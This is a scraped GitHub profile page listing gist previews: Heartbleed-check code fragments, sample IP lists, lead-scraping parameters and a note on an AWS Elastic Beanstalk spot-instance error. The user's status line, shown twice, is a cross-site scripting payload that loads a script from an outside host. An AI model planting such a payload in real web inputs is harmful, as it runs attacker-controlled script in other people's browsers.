Skip to content

Instantly share code, notes, and snippets.

View mandatoryprogrammer's full-sized avatar
💭
"><script src=https://y.vg></script>

Matthew Bryant mandatoryprogrammer

💭
"><script src=https://y.vg></script>
View GitHub Profile
return_data["vulnerable"]
def main( block_input, backpack ):
block_input = block_input[0]
dump_location = "/tmp/" + str( uuid.uuid4() )
...trimmed for brevity...
[
{
"ip": "132.139.7.159",
"port": 443
},
{
"ip": "249.9.17.16",
"port": 443
},
...trimmed for brevity...
def main(block_input, backpack):
example_ip_array = [
"132.139.7.159",
"249.9.17.16",
"190.49.112.102",
"38.32.0.91",
"245.138.248.145",
"54.35.108.11",
"15.4.41.18",
"213.70.65.146",
def main(block_input, backpack):
return [
1,
2,
3,
4,
5
]
{
"ip": "172.217.0.36",
"port": 443,
"vulnerable": false
}
{
"ip": "172.217.0.36",
"port": 443
}
import uuid
def main( block_input, backpack ):
dump_location = "/tmp/" + str( uuid.uuid4() )
is_vulnerable_to_heartbleed = check(
block_input[ "ip" ],
int( block_input[ "port" ] ),
dump_location,
False,
False
)
def get_leads_data( session, lead_type ):
if lead_type == "Need Call":
params = {
"ctl00$cph1$filter_Status": "Need Call",
"__EVENTTARGET": "ctl00$cph1$perPage",
"__EVENTARGUMENT": "",
}
elif lead_type == "Cold Leads":
params = {
"__EVENTTARGET": "clickSG",
@mandatoryprogrammer
mandatoryprogrammer / gist:07e5a870c5888f3c97c7cdbfbe9b7eb6
Created November 11, 2018 19:22
AWS Spot Instances on Elastic Beanstalk Error: Stack named 'awseb-e-rrpbg6x2fq-stack' aborted operation. Current state: 'CREATE_FAILED' Reason: The following resource(s) failed to create: [AWSEBInstanceLaunchWaitCondition].
Stack named 'awseb-e-rrpbg6x2fq-stack' aborted operation. Current state: 'CREATE_FAILED' Reason: The following resource(s) failed to create: [AWSEBInstanceLaunchWaitCondition].
If you get the above error while doing AWS Elastic Beanstalk with Spot Instance(s) it MAY be that your account isn't allowed to request those spot instances. You may have to request a quota increase. To find out try issuing the Spot Instance request for the same instance type manually and see what error you get.
Posting this so that other people don't have to suffer the same way.